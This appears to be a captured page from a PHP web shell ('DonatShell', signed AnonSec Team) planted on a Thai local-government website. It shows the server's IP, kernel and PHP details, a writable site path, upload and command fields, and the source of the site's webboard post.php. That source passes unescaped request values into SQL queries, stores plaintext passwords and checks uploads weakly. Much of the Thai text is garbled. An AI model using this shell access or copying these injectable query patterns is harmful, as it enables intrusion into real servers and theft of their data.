%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard//post.php
<?php
require_once("check_thai_ip.php");

if (!$___in_range) {
	header('HTTP/1.1 403 Forbidden');
	echo "<h1>403 Forbidden</h1><p>͹حҵҶ֧ҡ IP ͧس: " . $_SERVER['REMOTE_ADDR'] . "</p>";
	exit();
}
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" --> 
<head> 
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable -->  
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
   
<title>ͧúǹӺŹҪ ӺŹҪ ҹҢ ѧѴѧ:: www.nachumhet.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">



<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<link href="../styles3.css" rel="stylesheet" type="text/css" />
<!-- topmenu1-->
<link rel="icon" type="image/png" href="../images/logo729.png">
  <link rel="shortcut icon" href="../images/logo729.ico" type="image/x-icon">
<!-- -->	

<link href="../styles.css" rel="stylesheet" type="text/css" />





<style type="text/css">

body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color:#fff;	
	font-family: 'Sarabun', sans-serif;
}

</style>



<style>

  .banner{
  position: relative;
  width: 100%;
  height: 500px; /* ??????????????? */
  overflow: hidden;
}

/* -------------------------
   ???
--------------------------*/
.cloud{
  position: absolute;
  top: 10px;              /* ?????????? */
  left: -600px;
  width: 500px;           /* ????????????????????? */
  height: auto;
  z-index: 1;
  opacity: 0.9;
  animation: cloudMove 35s linear infinite;
}
@keyframes cloudMove{
  0%{ left:-600px; }
  100%{ left:110%; }
}

/* -------------------------
   ??
--------------------------*/
.bird{
  position: absolute;
  top: 10%;              /* ??? 40% ? ????????????? */
  left: -150px;
  width: 100px;
  z-index: 2;
  animation: birdFly 20s linear infinite;
}
.bird img{
  width: 100%;
  height: auto;
  animation: wingFlap 0.6s ease-in-out infinite alternate;
}

/* ?????????? */
@keyframes birdFly{
  0%{ left:-150px; top:10%; }
  25%{ top:12%; }
  50%{ top:18%; }
  75%{ top:13%; }
  100%{ left:110%; top:15%; }
}

/* ????????? */
@keyframes wingFlap{
  from{ transform: scaleY(1); }
  to{ transform: scaleY(0.85); }
}

/* -------------------------
   ??????????? (???? + ???????)
--------------------------*/
.office{
  position: relative;
  z-index: 5; /* ??????????? */
  width: 100%;
  height: auto;
  transform: scale(1.2);
  opacity: 0;
  animation: zoomIn 3s ease-out forwards;
}
@keyframes zoomIn{
  0%{ transform: scale(1.2); opacity:0; filter: blur(4px);}
  60%{ opacity:1; filter: blur(0);}
  100%{ transform: scale(1); opacity:1;}
}
.office1 {  position: relative;
  z-index: 5; /* ??????????? */
  width: 100%;
  height: auto;
  transform: scale(1.2);
  opacity: 0;
  animation: zoomIn 3s ease-out forwards;
}
.title{
  position: absolute;
  top: 18%; 
  left: 40%;
  transform: translate(-50%, -50%);
  width: 510px;
  height: auto;
  z-index: 6;
  /* animation ???????? */
  animation: titleFloat 6s ease-in-out infinite;
}

@keyframes titleFloat{
  0%   { transform: translate(-50%, -51%); }
  50%  { transform: translate(-50%, -39%); }
  100% { transform: translate(-50%, -51%); }
}
/* ????? */
.leaf-wrapper {
  position: absolute;
  top: -100px;
  pointer-events: none; /* ????????????? block mouse */
  animation: fall linear infinite;
}

.leaf {
  height: auto;
  opacity: 0.9;
  animation: sway ease-in-out infinite;
}

@keyframes fall {
  0%   { transform: translateY(-100px); }
  100% { transform: translateY(110vh); }
}

@keyframes sway {
  0%   { transform: translateX(0) rotate(0deg); }
  50%  { transform: translateX(80px) rotate(45deg); }
  100% { transform: translateX(-80px) rotate(-45deg); }
}
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
</style>



<style type="text/css">

a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}

</style>

<link rel="preconnect" href="https:/fonts.googleapis.com">
<link rel="preconnect" href="https:/fonts.gstatic.com" crossorigin>
<link href="https:/fonts.googleapis.com/css2?family=Sarabun:wght@300&display=swap" rel="stylesheet">
<style>
@import url('https:/fonts.googleapis.com/css2?family=Sarabun:wght@300&display=swap');
</style>


<style>
body {

  content: '';
  position: absolute;
  left: 0;
  top: 0;
  right: 0;
  bottom: 0;



}

.text-box {
    margin-left: 44vw;
 margin-top: 42vh;
}


.btn:visited {
    text-transform: uppercase;
    text-decoration: none;
    padding: 8px 30px;
    display: inline-block;
    border-radius: 100px;
    transition: all .2s;
    position: absolute;
}

.btn:hover {
    transform: translateY(-3px);
    box-shadow: 0 10px 20px rgba(0, 0, 0, 0.2);
}

.btn:active {
    transform: translateY(-1px);
    box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
}

.btn-white {
    background-color: #fff;
    color: #777;
}

.btn::after {
    content: "";
    display: inline-block;
    height: 100%;
    width: 100%;
    border-radius: 100px;
    position: absolute;
    top: 0;
    left: 0;
    z-index: -1;
    transition: all .4s;
}

.btn-white::after {
    background-color: #fff;
}

.btn:hover::after {
    transform: scaleX(1.4) scaleY(1.6);
    opacity: 0;
}

.btn-animated {
    animation: moveInBottom 5s ease-out;
    animation-fill-mode: backwards;
	font-size:24px;
}

@keyframes moveInBottom {
    0% {
        opacity: 0;
        transform: translateY(30px);
    }

    100% {
        opacity: 1;
        transform: translateY(0px);
    }
}

</style>
<!--nayok-->



















<style type="text/css">

body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;	
	font-family: 'Prompt', sans-serif;
}

</style>







<style type="text/css">

a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}

</style>

<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">
<!--font-->

<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Prompt:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet">


<link rel="preconnect" href="https:/fonts.googleapis.com">
<link rel="preconnect" href="https:/fonts.gstatic.com" crossorigin>
<link href="https:/fonts.googleapis.com/css2?family=Sarabun:wght@300&display=swap" rel="stylesheet">
<style>
@import url('https://fonts.googleapis.com/css2?family=Prompt:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap');
</style>





</head>






<body  background="../images/0bg1.png" style="background-repeat:no-repeat; background-position:top">
<div align="center">
  <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
  
      <tr>
      <td height="80" align="center" valign="top"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td align="center" valign="top"><div class="banner">
	<img src="../images/0title.png" class="title" alt="Title">
	
  <!-- ??? -->
  <img src="../images/pngegg0.png" alt="??????" class="cloud">

  <!-- ?? -->
  <img src="../images/bird0.gif" alt="?????" class="bird">

  <!-- ??????????? -->
	<img src="../images/0head.png" alt="???????????" class="office1" /></div></td>
      </tr>
      <tr>
        <td align="center" valign="top">
		
		<style>
button {
  width: 150px;
  height: 50px;
  cursor: pointer;
  background: #FF65CD;
  border: none;
  border-radius: 6px;
  color: white;
  font-size: 16px;
  margin: 8px;
  margin-top:1px;
  position: relative;
  z-index: 1;

} button:hover { border: 2px solid #6dd6d1; animation: hueRotation 2s linear infinite; } @keyframes hueRotation { to {filter: hue-rotate(360deg);} } button:focus { outline: none; }

.flower {
  position: fixed;
  width: 20px;
  height: 20px;
  pointer-events: none;
  animation: bloom 0.9s ease-out forwards;
  z-index: 9999;
}

@keyframes bloom {
  0%   {transform: scale(0) rotate(0deg); opacity: 0;}
  60%  {transform: scale(1.2) rotate(180deg); opacity: 1;}
  100% {transform: scale(1) rotate(360deg); opacity: 0;}
}
</style>

<table>
  <tr>
    <td align="center" valign="top"><button class="flowerBtn"><a href="/index.php" target="_blank">˹ѡ</a></button>    </td>
    <td align="center" valign="top"><button class="flowerBtn"><a href="/news.php?cat_id=66" target="_blank">ǻЪѹ</a></button>    </td>
    <td align="center" valign="top"><button class="flowerBtn"><a href="/news.php?cat_id=43" target="_blank">ǨѴͨѴҧ</a></button>    </td>
    <td align="center" valign="top"><button class="flowerBtn"><a href="/albums/" target="_blank">ҾǡԨ</a></button>    </td>
    <td align="center" valign="top"><button class="flowerBtn"><a href="/webboard/webboard.php?Category=board" target="_blank">дҹǹ</a></button>    </td>
    <td align="center" valign="top"><button class="flowerBtn"><a href="/contacts/?scon_id=1" target="_blank">Դ - ͺ</a></button>    </td>
    <td align="center" valign="top"><button class="flowerBtn"><a href="/form6.php" target="_blank">ͧ¹÷بԵ<br>˹ҷ</a></button>    </td>
  </tr>
</table>      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
    </table></td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
  
    <tr>
      <td align="center" valign="top"><table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td align="center" valign="top"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td align="center" valign="top"><span class="manu1"><!-- InstanceBeginEditable name="EditRegion3" -->
        <table width="98%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td><div align="center">
              <?
include("config.inc.php");
include("function.php");

// Ǵͧ纺
	mysql_connect($host,$user_db,$passwd_db);
	mysql_query ("SET NAMES 'tis620'");
	$c_sql = "select * from webboard_category where cat_name='$Category' ";
	$c_result = mysql_db_query($dbname,$c_sql);
	$c_NRow = mysql_num_rows($c_result);
	$c_row = mysql_fetch_array($c_result);
	
	$nlist = $c_row["cat_title"];

	if($c_NRow==0) { 
		echo "<center><br>";
		echo "<font color=red size=+1> سк Category çѺ web Դ¤Ѻ</font>";
		echo "<br>";
		echo "</center>";
		exit();		
	}

// 
	
if ($_SERVER['HTTP_CLIENT_IP']) { 
$IP = $_SERVER['HTTP_CLIENT_IP'];
} elseif (ereg("[0-9]",$_SERVER["HTTP_X_FORWARDED_FOR"] )) { 
$IP = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else { 
$IP = $_SERVER["REMOTE_ADDR"];
}
	$Member = 0;


	// ͧѹá html Ѻ ͧ ' "
$QTitle = htmlspecialchars($QTitle, ENT_COMPAT, 'ISO-8859-1');
$QNote = htmlspecialchars($QNote, ENT_COMPAT, 'ISO-8859-1');
$QName = htmlspecialchars($QName, ENT_COMPAT, 'ISO-8859-1');
$QEmail = htmlspecialchars($QEmail, ENT_COMPAT, 'ISO-8859-1');

// ===== ѧѹͧӵͧ =====
function hasBadWords($text) {
    $badWords = array('ѹ', '', '', 'Ҥ', '', '','ᷧ','','','','','ᷧ', 'asd', '', '18+', 'xxx','','͹', '','Line','20+','ʹŹ','§⪤');
    foreach ($badWords as $word) {
        if (stripos($text, $word) !== false) {
            return true;
        }
    }
    return false;
}

// Ǵͧ纺
	mysql_connect($host,$user_db,$passwd_db);
	mysql_query ("SET NAMES 'tis620'");
	$c_sql = "select * from webboard_category where cat_name='$Category' ";
	$c_result = mysql_db_query($dbname,$c_sql);
	$c_NRow = mysql_num_rows($c_result);
	$c_row = mysql_fetch_array($c_result);
	
	$nlist = $c_row["cat_title"];

	if($c_NRow==0) { 
		echo "<center><br>";
		echo "<font color=red size=+1> سк Category çѺ web Դ¤Ѻ</font>";
		echo "<br>";
		echo "</center>";
		exit();		
	}

// 

if ($_SERVER['HTTP_CLIENT_IP']) { 
$IP = $_SERVER['HTTP_CLIENT_IP'];
} elseif (ereg("[0-9]",$_SERVER["HTTP_X_FORWARDED_FOR"] )) { 
$IP = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else { 
$IP = $_SERVER["REMOTE_ADDR"];
}
$Member = 0;

// ͧѹá html Ѻ ͧ ' "
$QTitle = htmlspecialchars($QTitle, ENT_COMPAT, 'ISO-8859-1');
$QNote = htmlspecialchars($QNote, ENT_COMPAT, 'ISO-8859-1');
$QName = htmlspecialchars($QName, ENT_COMPAT, 'ISO-8859-1');
$QEmail = htmlspecialchars($QEmail, ENT_COMPAT, 'ISO-8859-1');

// ===== Ǩͺӵͧ ͹Թõ =====
if (hasBadWords($QTitle) || hasBadWords($QNote)) {
	echo "<center><br><font color=red size=+1> ͤդӵͧ  þѹ ͤ س䢡͹ʵ</font><br>";
	echo "<a href='javascript:history.back(1)' class='styles2'>[ Ѻ ]</a></center>";
	exit();
}

// ͧѹҺ
$QTitle = CheckRude($QTitle);
$QNote = CheckRude($QNote);
$QName = CheckRude($QName);
$QEmail = CheckRude($QEmail);
	
	// ǨͺáٻҾ
	$txt = array(":b1:", ":b2:",":b3:", ":b4:", ":b5:", ":b6:", ":b7:", ":b8:", ":b9:", ":b10:", ":b11:");
	$pic = array("b1.gif","b2.gif","b3.gif","b4.gif","b5.gif","b6.gif","b7.gif","b8.gif","b9.gif","b10.gif","b11.gif");
	for ($a=0 ; $a<sizeof($txt) ; $a++) {
		$QNote = eregi_replace($txt[$a],"<img src=\"pic/$pic[$a]\">",$QNote);
	}

	// Ǩͺ աû͹ url  email   link

		//Ѻ¹ѡз˹ ᷡ html ҧ
		$QNote = eregi_replace ( "\[b\]", "<b> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/b\]", " </b>" , $QNote ) ;
		$QNote = eregi_replace ( "\[i\]", "<i> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/i\]", " </i>" , $QNote ) ;
		$QNote = eregi_replace ( "\[u\]", "<u> " , $QNote ) ;
		$QNote = eregi_replace ( "\[sup\]", "<sup> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/sup\]", " </sup>" , $QNote ) ;
		$QNote = eregi_replace ( "\[sub\]", "<sub> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/sub\]", " </sub>" , $QNote ) ;
		$QNote = eregi_replace ( "\[/u\]", " </u>" , $QNote ) ;
		$QNote = eregi_replace ( "\[\-\-\-\]", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" , $QNote ) ;
		$QNote = eregi_replace ( "\[color=red\]", "<font color=red > " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=green\]", "<font color=green> " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=blue\]", "<font color=blue> " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=orange\]", "<font color=FF6600> " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=pink\]", "<font color=FF00FF> " , $QNote) ;
		$QNote = eregi_replace ( "\[color=gray\]", "<font color=999999> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/color\]", " </font>" , $QNote ) ;

		$QNote = eregi_replace ( "\[glow\]"," <table style=filter:glow(color=pink, strength=3)>  ", $QNote ) ;
		$QNote = eregi_replace ( "\[/glow\]", " </table>" , $QNote ) ;

		$QNote = eregi_replace ( "\[shadow\]","<table style=\"filter:shadow(color=pink, direction=left)\"> ", $QNote ) ;
		$QNote = eregi_replace ( "\[/shadow\]", " </table>" , $QNote ) ;

	// 鹺ѹѴ óշա Enter
	$QNote = eregi_replace(chr(13)," <br> ", $QNote );

	$QNote = eregi_replace("(^|[>[:space:]\n])([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])([<[:space:]\n]|$)","<a href=\"\\2://\\3\\4\" target=\"_blank\">\\2://\\3\\4</a>", $QNote );
	$QNote = eregi_replace("([[:alnum:]]+)@([^[:space:]]*)([[:alnum:]])([<[:space:]\n]|$)","<a href=mailto:\\1@\\2\\3\>\\1@\\2\\3</a>", $QNote );

	//Ǩͺʡз (Թ ӹǹк config)
	CheckFlood($IP);
	
	// ǨͺҪԡ 
	$sql = "select User,Password,Email from webboard_member where User='$QName'";
	$result = mysql_db_query($dbname,$sql);
	$NRow = mysql_num_rows($result);
	$row = mysql_fetch_array($result);

	$Member = $row["User"];
	
	// Ǩͺ Password ١
	if($QName==$row["User"] && $QPass==$row["Password"]) 
	{ 
		$Member = 1;
		if(!$QEmail) 
			{
			$QEmail = $row["Email"];
		    }
	}else
	 {
	$Member = 0;
	 }


if(strcmp($_POST['code_input'],$_POST['code_hidden'])==0){ 
// ӡ ҡʢͧҪԡ
	if($Member) {
			$sql3 = "update webboard_member set m_post=m_post+1 where User='$QName'";
			$result3 = mysql_db_query($dbname,$sql3);
	}
	else {	};
// ÷ӧҹ

// ѹ֡ٻҾ
	
if(($QNote =='')&&($QName==''))
{  
	echo "<center >";
	echo "<font size=+1 color=\"red\">";
	echo "ͤóҨú ͵ҧ觢 س觢ͤա<br><br>";

	echo "<font size=+1 color=red >";
	echo "<a href='javascript:history.back(1)'>[ Ѻ ] </a>";
	echo "</font>";
	echo "</center>";
	
		exit();
	}
	
if( $QPic !='')
	{ 
			srand((double)microtime()*1000000); 
			$QPic      = $_FILES['QPic']['tmp_name'];
			$QPic_name = $_FILES['QPic']['name'];
$QPic_size = $_FILES['QPic']['size'];
$QPic_type = $_FILES['QPic']['type'];
			$QPic_name=$random_pic = rand(1,9999);

# Ǩͺҧͧٻ
				if (
    isset($_FILES['QPic']) &&
    $_FILES['QPic']['error'] === UPLOAD_ERR_OK &&
    $_FILES['QPic']['tmp_name'] != ''
) {

    $QPic      = $_FILES['QPic']['tmp_name'];
    $QPic_name = $_FILES['QPic']['name'];
    $QPic_size = $_FILES['QPic']['size'];
    $QPic_type = $_FILES['QPic']['type'];

    // ǨͺҾԧ
    $size = @getimagesize($QPic);
    if ($size === false) {
        echo "<center><font color=red>ѻŴٻҾ</font></center>";
        exit();
    }

 
}

# ǨͺҴͧ Flash
if ( $QPic_type == "application/x-shockwave-flash" )	{
		if($QPic_size>$flashSize_limit) {
				echo "<br><b><center><font size=3 color=red >Ҵͧ Flash Թ $flashSize_limit bytes [$flashSize_msg]</font></center></b><br>";
				echo "<br><b><center><font size=3 color=red >[&nbsp;<a href='javascript:history.back(1)'>Ѻ</a>&nbsp;]</font></center></b>";
				exit();
			}
	}
else {

# ǨͺҴͧٻ
		if($QPic_size>$Image_size) {
				echo "<br><b><center><font size=3 color=red >ҴͧҾԹ $Image_size bytes [$Image_msg]</font></center></b><br>";
				echo "<br><b><center><font size=3 color=red >[&nbsp;<a href='javascript:history.back(1)'>Ѻ</a>&nbsp;]</font></center></b>";
				exit();
			}
}

#ŧʡ зӡ upload
if ( $QPic_type == "image/gif" )
		{
			$filename = $QPic_name.".gif";
		}
if ( $QPic_type == "image/bmp" )
		{
			$filename = $QPic_name.".bmp";
		}
if ( $QPic_type == "image/png" )
		{
			$filename = $QPic_name.".png";
		}
if ( $QPic_type == "application/x-shockwave-flash" )
		{
			$filename = $QPic_name.".swf";
		}
elseif (($QPic_type=="image/jpg")||($QPic_type=="image/jpeg")||($QPic_type=="image/pjpeg"))
		{
			$filename =strtolower($QPic_name.$random_pic . '.jpg');
		}
			move_uploaded_file($QPic, "$path/" . $filename);		
	}


elseif ($QPic == "")
{
echo "";
}


	// ҨеçѺͧ server ѹ
	$mdate = date("Y-m-d H:i:s");

	// ǨͺҪԡ öʻС
	$sql2 = "select User from webboard_member where User='$QName' and Password='$QPass' and status='1' ";
	$result2 = mysql_db_query($dbname,$sql2);
	$row2 = mysql_fetch_array($result2);

	$Member2 = $row2["User"];

	//  username öʢǻС
	if($Member2 && $pst==1) {
		$mp = 1;
	}
	else {
		$mp = 0;
	}


//ʤԻѡзС͹ŧҹ
/*	if(ereg("www",$_POST[QNote]) || ereg("http",$_POST[QNote]) || ereg("<a href",$_POST[QNote]) || ereg("<",$_POST[QNote])){
  		echo "\n";
		echo "<center>";
		echo "<BR><BR><a href='javascript:history.back(1)' class='styles2'> س͡١ͧ</a><BR><BR><BR><BR>";
		exit;
}*/



	// ¹ŧ database
	$sql = "insert into webboard_data (Category,Question,Note,Name,Namer,Member,IP,Email,Date,nphoto,resolution,pst) values ('$Category','$QTitle','$QNote','$QName','$MsgBy','$Member','$IP','$QEmail','$mdate','$filename','$size[0]','$mp')";
	$result1 = mysql_db_query($dbname,$sql);

	mysql_close(); 	
?>
            </div></td>
          </tr>
          <tr>
            <td><div align="center">
              <table width=60% border=0 bgcolor=#000000 cellpadding=7 cellspacing=1>
                <tr>
                  <td align=center bgcolor=#ffffff class="styles3"><span class="red">ѺǤѺ</span><br>
                        <br>
                    ҡѺ˹áǤӶͧسѧͧ Refresh/Reload Ѻ </font></td>
                </tr>
              </table>
            </div></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td class="styles3"><div align="center">| <a href="webboard.php?Category=<? echo $Category; ?>" class="styles2">ʴӶ</a> || <a href="postq.php?Category=<? echo $Category; ?>" class="styles2">駡з </a>|</div></td>
          </tr>
		<?
		  }

			else{
			echo "<br><b><center><span class=red>س Verification code</span></center></b><br>";
				echo "<br><b><center><span class=styles1 >[&nbsp;<a href='javascript:history.back(1)' class=styles2>Ѻ</a>&nbsp;]</span></center></b>";

		}		
			?>
			<tr>
            <td>&nbsp;</td>
          </tr>
        </table>
      <!-- InstanceEndEditable --></span></td>
              </tr>
            </table></td>
          </tr>
          <tr>
            <td align="center" valign="top">&nbsp;</td>
          </tr>
        </table></td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
  </table>
</div>


<tr>
  <td>
  <a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>

<script>
$(document).ready(function(){
  $('.slider').slider();
});
</script>






<script>
$(document).ready(function(){
  $('.modal').modal();
});
</script>


<script type="text/javascript">
	$(function(){
		var lightbox = new LightBox({});
	});
</script>
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-36251023-1']);
  _gaq.push(['_setDomainName', 'jqueryscript.net']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
</body>
<!-- InstanceEnd --></html>

Anon7 - 2022
AnonSec Team